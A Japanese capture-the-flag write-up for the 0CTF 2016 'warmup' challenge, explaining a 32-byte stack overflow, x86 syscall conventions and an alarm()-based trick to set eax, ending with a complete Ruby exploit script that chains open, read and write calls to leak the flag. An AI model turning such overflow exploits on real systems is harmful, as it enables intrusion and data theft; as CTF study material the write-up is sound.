0ctf 2016 warmup(Exploit2)
Cpawとして参加していましたが、1問も解けず😇😇😇
しかし、終了後に某プロのwriteupを見て(毎回とても助かっています.本当にありがとうございます).
すごく納得できたので、まとめておくと同時に初めて自分でシステムコールを呼び出す問題だったのでその点も含めてまとめようと思った.
下調べ
問題文
warmup for pwning!
Notice: This service is protected by a sandbox, you can only read the flag at/home/warmup/flag
202.120.7.207 52608
サンドボックスなので、/bin配下が読めないかなーと推測することができる.したがってどうにかflagというファイルをopen->read->writeするという3ステップを踏む必要があると押さえておく.
バイナリとしてはこんな感じ.
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled $ file warmup | sed -e 's/, /\n/g' warmup: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) statically linked BuildID[sha1]=c1791030f336fcc9cda1da8dc3a3f8a70d930a11 stripped
staticallyでstrippedという初心者の私にはつらいバイナリだった.
解析と方針
プログラム自体は,標準入力を受け取るだけ.
しかし32byteでBOFしてリターンアドレスを上書きすることがわかる.この時点でROPで行けそうという感じだったが, popNretがなかった.しかし代わりにadd_esp48というガジェットがあったのでこれを利用できそうだと考えることができる.espをずらすことで引数部分が上書きされるのを避けることができる.
(反省点: retだけじゃどうにもならないという硬い発想が邪魔してadd_espということに気づくことができなかったのが解けなかった原因だと思う)
gdbでいろいろ見ているとalarm, write, readという3つの関数でこのプログラムが構成されていることに気が付くと同時にopenがないことが明らかになる.つまり自力でopenシステムコールを呼ばなくてはいけないということだ.
だが,私はシステムコールについての知識があまりなかったので調べてみた.
システムコール
システムコールとは、カーネルの機能を呼ぶためのものである.
writeやread,openなどそれらの機能であるが, 大抵のプログラミング言語ではラッパー関数のようなものが用意されている.
そして内部的にはint 0x80という命令がシステムコールを発行するらしい.
この時どのシステムコールを呼びだすかなどは引数によって決まるらしい.
x86においては以下のようになっていた.
レジスタ | 用途 |
---|---|
eax | システムコール番号 |
ebx | 第1引数 |
ecx | 第2引数 |
edx | 第3引数 |
esi | 第4引数 |
edi | 第5引数 |
またシステムコール番号は,ぐぐったりすれば出てくる.
ちなみにwriteは1, readは3, alarmは27である.
ためしにalarm関数の部分を見た.
gdb-peda$ x/3wi 0x804810d 0x804810d: mov eax,0x1b 0x8048112: mov ebx,DWORD PTR [esp+0x4] //10 0x8048116: int 0x80
eaxに0x1b(=27)が入り, 第一引数のebxに値を入れて後、int 0x80命令を実行しており、調べた通りになっていた.
これらのことを踏まえるとopenシステムコールを呼ぶにはどうにか各レジスタに適切な値を入れなければいけない.具体的には,
open("/home/warmup/flag", 0)
のように呼ぶために, eaxに5, ebxにパス, ecxに0を入れる必要がある.
しかしeaxに任意の値を入れることが難しかったがkatagaitaiCTFの資料を見るとalarm関数を使うと(正確には関数の返り値)を用いることでeaxに値をセットできることを知った.またalarm関数は2回目以降は前回設定してから経過した秒数が返り値になるそうで、初回引数を10として実行しているので, 5秒待てば良いということがわかる.
openしたら、次にそのファイルディスクリプタ(0は標準入力、1は標準出力、2は標準エラー出力であることを考えると次の3が割り当てられるとかんがえられる)を利用してread(3, buffer, flag's length)、write(1, buffer, flag's length)すれば良い.
これらの方針を踏まえて以下のexploitコードを書いた.
Exploit
#coding: utf-8 #Thanks @CharoIT! #https://github.com/Charo-IT/pwnlib require 'pwnlib.rb' host = "localhost" port = 8888 if ARGV[0] == "r" host = "202.120.7.207" port = 52608 end # オーバフローさせる文字列を作成 def overflow(eip, b, c, d, e) "A" * 32 + [eip, b, c, d, e].pack("L*") end PwnTube.open(host, port) do |tube| tube.debug = true bss = 0x8049000 # buffer exit = 0x804814d vuln = 0x804815a # addesp_48 read = 0x804811d write = 0x8048135 alarm = 0x804810d syscall_arg3 = 0x8048122 #ebx, ecx, edx, int 0x80 path = "/home/warmup/flag\x00" tube.recv_until("Welcome to 0CTF 2016!\n") #read(0, bss, flag_path_length) tube.send(overflow(read, vuln, 0, bss, path.length)) tube.send(path) #alarm(10)->after 5s-> eax = 5 sleep(5) #open("/home/warmup/flag", O_RDONLY) tube.send(overflow(alarm, syscall_arg3, vuln, bss, 0)) #read(3, bss, flag_size) tube.send(overflow(read, vuln, 3, bss, 64)) #write(1, bss, flag_size) tube.send(overflow(write, exit, 1, bss, 64)) tube.interactive #=> 0ctf{welcome_it_is_pwning_time} end